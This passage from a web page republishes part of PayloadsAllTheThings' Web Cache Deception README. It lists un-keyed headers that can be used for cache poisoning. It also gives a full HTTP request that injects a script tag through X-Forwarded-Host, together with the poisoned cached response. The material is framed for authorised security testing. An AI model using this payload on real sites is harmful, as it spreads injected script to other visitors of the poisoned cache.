Web Cache Deception · passage 4 of 7

Caching Custom JavaScript

Text · Web Cache Deception/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

1. Find an un-keyed input for a Cache Poisoning ```js Values: User-Agent Values: Cookie Header: X-Forwarded-Host Header: X-Host Header: X-Forwarded-Server Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host) Header: X-Original-URL (Symfony) Header: X-Rewrite-URL (Symfony) ``` 2. Cache poisoning attack - Example for `X-Forwarded-Host` un-keyed input (remember to use a buster to only cache this webpage instead of the main page of the website) ```js GET /test?buster=123 HTTP/1.1 Host: target.com X-Forwarded-Host: test"><script>alert(1)</script> HTTP/1.1 200 OK Cache-Control: public, no-cache [..] <meta property="og:image" content="https://test"><script>alert(1)</script>"> ```

Every one of the 7 is a mark on the map. Named now: 1 to 7, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-15 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.